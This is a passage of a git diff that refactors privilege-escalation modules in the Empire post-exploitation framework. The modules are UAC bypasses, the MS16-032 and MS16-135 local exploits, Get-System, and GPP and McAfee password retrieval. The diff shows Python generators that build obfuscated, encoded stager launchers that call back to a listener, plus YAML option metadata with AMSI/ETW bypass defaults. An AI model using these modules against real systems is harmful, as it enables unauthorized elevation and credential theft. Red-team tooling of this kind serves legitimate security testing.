+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -47,10 +52,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/Invoke-EventVwrBypass.ps1'
+script_path: privesc/Invoke-EventVwrBypass.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py
index 5255fd178..03643c532 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py
@@ -1,11 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -13,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -31,7 +28,7 @@ def generate(
launcher_obfuscate = False
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -50,7 +47,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -62,7 +59,7 @@ def generate(
return handle_error_message("[!] Error in launcher generation.")
else:
script_end = 'Invoke-FodHelperBypass -Command "%s"' % (enc_script)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.yaml b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.yaml
index 86c3da1d7..9a97086ca 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.yaml
+++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.yaml
@@ -1,9 +1,11 @@
name: Invoke-FodHelperBypass
authors:
- - Petr Medonos
-description: Bypasses UAC by performing an registry modification for FodHelper (based
- onhttps://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/)
+ - name: Petr Medonos
+ handle: ''
+ link: ''
+description: Bypasses UAC by performing an registry modification for FodHelper (based onhttps://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/)
software: ''
+tactics: []
techniques:
- T1088
background: true
@@ -24,22 +26,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -47,10 +51,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/Invoke-FodHelperBypass.ps1'
+script_path: privesc/Invoke-FodHelperBypass.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper_progids.yaml b/empire/server/modules/powershell/privesc/bypassuac_fodhelper_progids.yaml
index 7882d1e97..625d8cc8c 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper_progids.yaml
+++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper_progids.yaml
@@ -1,11 +1,18 @@
name: Invoke-FodhelperProgIDs
authors:
- - '@V3ded'
- - '@netbiosX'
- - '@m1m1k4tz'
+ - name: ''
+ handle: '@V3ded'
+ link: ''
+ - name: ''
+ handle: '@netbiosX'
+ link: ''
+ - name: ''
+ handle: '@m1m1k4tz'
+ link: ''
description: |
Bypasses UAC by performing a registry modification for FodHelper but uses ProgIDs to bypass antivirus signatures on the registry key
software: ''
+tactics: []
techniques:
- T1088
background: true
@@ -15,7 +22,7 @@ opsec_safe: false
language: powershell
min_language_version: '2'
comments:
- - 'https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses'
+ - https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses
options:
- name: Agent
description: Agent to run module on.
diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py
index 7fb2efec8..16aee3095 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py
@@ -1,11 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -13,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -31,7 +28,7 @@ def generate(
launcher_obfuscate_command = params["ObfuscateCommand"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -50,10 +47,10 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
- proxyCreds=proxyCreds,
+ proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
)
@@ -62,7 +59,7 @@ def generate(
return handle_error_message("[!] Error in launcher generation.")
else:
script_end = 'Invoke-SDCLTBypass -Command "%s"' % (enc_script)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.yaml b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.yaml
index 837c7b59a..b6e7ffe6c 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.yaml
+++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.yaml
@@ -1,9 +1,11 @@
name: Invoke-SDCLTBypass
authors:
- - Petr Medonos
-description: Bypasses UAC by performing an registry modification for sdclt (based
- onhttps://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/)
+ - name: Petr Medonos
+ handle: ''
+ link: ''
+description: Bypasses UAC by performing an registry modification for sdclt (based onhttps://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/)
software: ''
+tactics: []
techniques:
- T1088
background: true
@@ -24,22 +26,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -47,10 +51,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/Invoke-SDCLTBypass.ps1'
+script_path: privesc/Invoke-SDCLTBypass.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py
index d7c1161bc..668b4cf27 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py
@@ -1,14 +1,11 @@
from __future__ import print_function
import base64
-import pathlib
import re
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -16,20 +13,18 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# options
stager = params["Stager"]
host = params["Host"]
- user_agent = params["UserAgent"]
port = params["Port"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -58,14 +53,14 @@ def generate(
encoded_cradle = base64.b64encode(powershell_command)
- except Exception as e:
+ except Exception:
pass
script_end = 'Invoke-BypassUACTokenManipulation -Arguments "-w 1 -enc %s"' % (
encoded_cradle
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.yaml b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.yaml
index 3a7f3696c..ba86be188 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.yaml
+++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.yaml
@@ -1,9 +1,14 @@
name: Invoke-BypassUACTokenManipulation
authors:
- - '@enigma0x3,@424f424f'
-description: Bypass UAC module based on the script released by Matt Nelson @enigma0x3
- at Derbycon 2017
+ - name: ''
+ handle: '@enigma0x3'
+ link: ''
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
+description: Bypass UAC module based on the script released by Matt Nelson @enigma0x3 at Derbycon 2017
software: ''
+tactics: []
techniques:
- T1088
background: false
@@ -27,10 +32,6 @@ options:
description: Host or IP where stager is served.
required: true
value: ''
- - name: UserAgent
- description: UserAgent for staging process
- required: false
- value: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
- name: Port
description: Port to connect to where stager is served
required: true
@@ -40,10 +41,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/Invoke-BypassUACTokenManipulation.ps1'
+script_path: privesc/Invoke-BypassUACTokenManipulation.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py
index 168cb662b..52eb8fc47 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -32,7 +28,7 @@ def generate(
launcher_obfuscate_command = params["ObfuscateCommand"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -51,7 +47,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -63,7 +59,7 @@ def generate(
else:
script_end = 'Invoke-WScriptBypassUAC -payload "%s"' % (launcher)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.yaml b/empire/server/modules/powershell/privesc/bypassuac_wscript.yaml
index 0f793fe7f..e7067ac56 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_wscript.yaml
+++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.yaml
@@ -1,12 +1,18 @@
name: Invoke-WScriptBypassUAC
authors:
- - '@enigma0x3'
- - '@harmyj0y'
- - Vozzie
-description: Drops wscript.exe and a custom manifest into C:\Windows\ and then proceeds
- to execute VBScript using the wscript executablewith the new manifest. The VBScript
- executed by C:\Windows\wscript.exe will run elevated.
+ - name: ''
+ handle: '@enigma0x3'
+ link: ''
+ - name: ''
+ handle: '@harmyj0y'
+ link: ''
+ - name: Vozzie
+ handle: ''
+ link: ''
+description: Drops wscript.exe and a custom manifest into C:\Windows\ and then proceeds to execute VBScript using the wscript
+ executablewith the new manifest. The VBScript executed by C:\Windows\wscript.exe will run elevated.
software: ''
+tactics: []
techniques:
- T1088
background: true
@@ -28,22 +34,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -51,10 +59,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/Invoke-WScriptBypassUAC.ps1'
+script_path: privesc/Invoke-WScriptBypassUAC.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/getsystem.yaml b/empire/server/modules/powershell/privesc/getsystem.yaml
index f75ea91e5..855620876 100644
--- a/empire/server/modules/powershell/privesc/getsystem.yaml
+++ b/empire/server/modules/powershell/privesc/getsystem.yaml
@@ -1,9 +1,14 @@
name: Get-System
authors:
- - '@harmj0y'
- - '@mattifestation'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
description: Gets SYSTEM privileges with one of two methods.
software: S0194
+tactics: []
techniques:
- T1103
background: false
@@ -23,8 +28,7 @@ options:
required: true
value: ''
- name: Technique
- description: Technique to use, 'NamedPipe' for service named pipe impersonation
- or 'Token' for adjust token privs.
+ description: Technique to use, 'NamedPipe' for service named pipe impersonation or 'Token' for adjust token privs.
required: false
value: NamedPipe
- name: ServiceName
@@ -46,7 +50,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -54,5 +58,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/Get-System.ps1'
+script_path: privesc/Get-System.ps1
script_end: Get-System {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-System completed'
diff --git a/empire/server/modules/powershell/privesc/gpp.yaml b/empire/server/modules/powershell/privesc/gpp.yaml
index 587fab378..d9db00777 100644
--- a/empire/server/modules/powershell/privesc/gpp.yaml
+++ b/empire/server/modules/powershell/privesc/gpp.yaml
@@ -1,9 +1,11 @@
name: Get-GPPPassword
authors:
- - '@obscuresec'
-description: Retrieves the plaintext password and other information for accounts pushed
- through Group Policy Preferences.
+ - name: ''
+ handle: '@obscuresec'
+ link: ''
+description: Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
software: ''
+tactics: []
techniques:
- T1003
background: true
@@ -22,7 +24,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -30,5 +32,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/Get-GPPPassword.ps1'
+script_path: privesc/Get-GPPPassword.ps1
script_end: Get-GPPPassword {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-GPPPassword completed'
diff --git a/empire/server/modules/powershell/privesc/mcafee_sitelist.yaml b/empire/server/modules/powershell/privesc/mcafee_sitelist.yaml
index e2b7958af..1c1c9b421 100644
--- a/empire/server/modules/powershell/privesc/mcafee_sitelist.yaml
+++ b/empire/server/modules/powershell/privesc/mcafee_sitelist.yaml
@@ -1,9 +1,14 @@
name: Get-SiteListPassword
authors:
- - '@harmj0y'
- - '@funoverip'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@funoverip'
+ link: ''
description: Retrieves the plaintext passwords for found McAfee's SiteList.xml files.
software: ''
+tactics: []
techniques:
- T1003
background: true
@@ -22,7 +27,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -30,5 +35,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/Get-SiteListPassword.ps1'
+script_path: privesc/Get-SiteListPassword.ps1
script_end: Get-SiteListPassword {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-SiteListPassword completed'
diff --git a/empire/server/modules/powershell/privesc/ms16-032.py b/empire/server/modules/powershell/privesc/ms16-032.py
index 85d64cc07..f93307324 100644
--- a/empire/server/modules/powershell/privesc/ms16-032.py
+++ b/empire/server/modules/powershell/privesc/ms16-032.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -51,7 +47,7 @@ def generate(
script_end = 'Invoke-MS16-032 "' + launcher_code + '"'
script_end += ';"`nInvoke-MS16032 completed."'
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/ms16-032.yaml b/empire/server/modules/powershell/privesc/ms16-032.yaml
index e201a2dfc..c4a564a4c 100644
--- a/empire/server/modules/powershell/privesc/ms16-032.yaml
+++ b/empire/server/modules/powershell/privesc/ms16-032.yaml
@@ -1,10 +1,15 @@
name: Invoke-MS16032
authors:
- - '@FuzzySec'
- - '@leoloobeek'
-description: 'Spawns a new Listener as SYSTEM by leveraging the MS16-032 local exploit.
- Note: ~1/6 times the exploit won''t work, may need to retry.'
+ - name: ''
+ handle: '@FuzzySec'
+ link: ''
+ - name: ''
+ handle: '@leoloobeek'
+ link: ''
+description: "Spawns a new Listener as SYSTEM by leveraging the MS16-032 local exploit. Note: ~1/6 times the exploit won't\
+ \ work, may need to retry."
software: ''
+tactics: []
techniques:
- T1068
background: true
@@ -28,8 +33,7 @@ options:
required: true
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -37,10 +41,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/Invoke-MS16032.ps1'
+script_path: privesc/Invoke-MS16032.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/ms16-135.py b/empire/server/modules/powershell/privesc/ms16-135.py
index a88b0ae9a..904dcd9fb 100644
--- a/empire/server/modules/powershell/privesc/ms16-135.py
+++ b/empire/server/modules/powershell/privesc/ms16-135.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -51,7 +47,7 @@ def generate(
script_end = 'Invoke-MS16135 -Command "' + launcher_code + '"'
script_end += ';"`nInvoke-MS16135 completed."'
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/ms16-135.yaml b/empire/server/modules/powershell/privesc/ms16-135.yaml
index 3eedbe7e3..78a1dd6af 100644
--- a/empire/server/modules/powershell/privesc/ms16-135.yaml
+++ b/empire/server/modules/powershell/privesc/ms16-135.yaml
@@ -1,13 +1,19 @@
name: Invoke-MS16135
authors:
- - '@TinySecEx'
- - '@FuzzySec'
- - ThePirateWhoSmellsOfSunflowers (github)
-description: 'Spawns a new Listener as SYSTEM by leveraging the MS16-135 local exploit.
- This exploit is for x64 only and only works on unlocked session. Note: the exploit
- performs fast windows switching, victim''s desktop may flash. A named pipe is also
- created. Thus, opsec is not guaranteed'
+ - name: ''
+ handle: '@TinySecEx'
+ link: ''
+ - name: ''
+ handle: '@FuzzySec'
+ link: ''
+ - name: ThePirateWhoSmellsOfSunflowers (github)
+ handle: ''
+ link: ''
+description: "Spawns a new Listener as SYSTEM by leveraging the MS16-135 local exploit. This exploit is for x64 only and only\
+ \ works on unlocked session. Note: the exploit performs fast windows switching, victim's desktop may flash. A named pipe\
+ \ is also created. Thus, opsec is not guaranteed"
software: ''
+tactics: []
techniques:
- T1068
background: true
@@ -32,8 +38,7 @@ options:
required: true
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -41,10 +46,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/Invoke-MS16135.ps1'
+script_path: privesc/Invoke-MS16135.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/powerup/allchecks.yaml b/empire/server/modules/powershell/privesc/powerup/allchecks.yaml
index 077aa5caa..d89ec3cdf 100644
--- a/empire/server/modules/powershell/privesc/powerup/allchecks.yaml
+++ b/empire/server/modules/powershell/privesc/powerup/allchecks.yaml
@@ -1,8 +1,11 @@
name: Invoke-AllChecks
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Runs all current checks for Windows privesc vectors.
software: S0194
+tactics: []
techniques:
- T1087
- T1038
@@ -26,7 +29,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -34,5 +37,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/PowerUp.ps1'
+script_path: privesc/PowerUp.ps1
script_end: Invoke-AllChecks {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-AllChecks completed'
diff --git a/empire/server/modules/powershell/privesc/powerup/find_dllhijack.yaml b/empire/server/modules/powershell/privesc/powerup/find_dllhijack.yaml
index 174e6c060..5ddc06f9e 100644
--- a/empire/server/modules/powershell/privesc/powerup/find_dllhijack.yaml
+++ b/empire/server/modules/powershell/privesc/powerup/find_dllhijack.yaml
@@ -1,8 +1,11 @@
name: Find-ProcessDLLHijack
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Finds generic .DLL hijacking opportunities.
software: S0194
+tactics: []
techniques:
- T1087
- T1038
@@ -28,8 +31,7 @@ options:
required: false
value: ''
- name: ExcludeProgramFiles
- description: Switch. Exclude paths from C:\Program Files\* and C:\Program Files
- (x86)\*
+ description: Switch. Exclude paths from C:\Program Files\* and C:\Program Files (x86)\*
required: false
value: ''
- name: ExcludeOwned
@@ -39,7 +41,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -47,5 +49,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/PowerUp.ps1'
+script_path: privesc/PowerUp.ps1
script_end: Find-ProcessDLLHijack {{ PARAMS }} | ft -wrap | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Find-ProcessDLLHijack completed'
diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_restore.yaml b/empire/server/modules/powershell/privesc/powerup/service_exe_restore.yaml
index ab1ed0b9c..0953e286e 100644
--- a/empire/server/modules/powershell/privesc/powerup/service_exe_restore.yaml
+++ b/empire/server/modules/powershell/privesc/powerup/service_exe_restore.yaml
@@ -1,8 +1,11 @@
name: Restore-ServiceBinary
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Restore a backed up service binary.
software: S0194
+tactics: []
techniques:
- T1087
- T1038
@@ -34,7 +37,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -42,5 +45,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'privesc/PowerUp.ps1'
+script_path: privesc/PowerUp.ps1
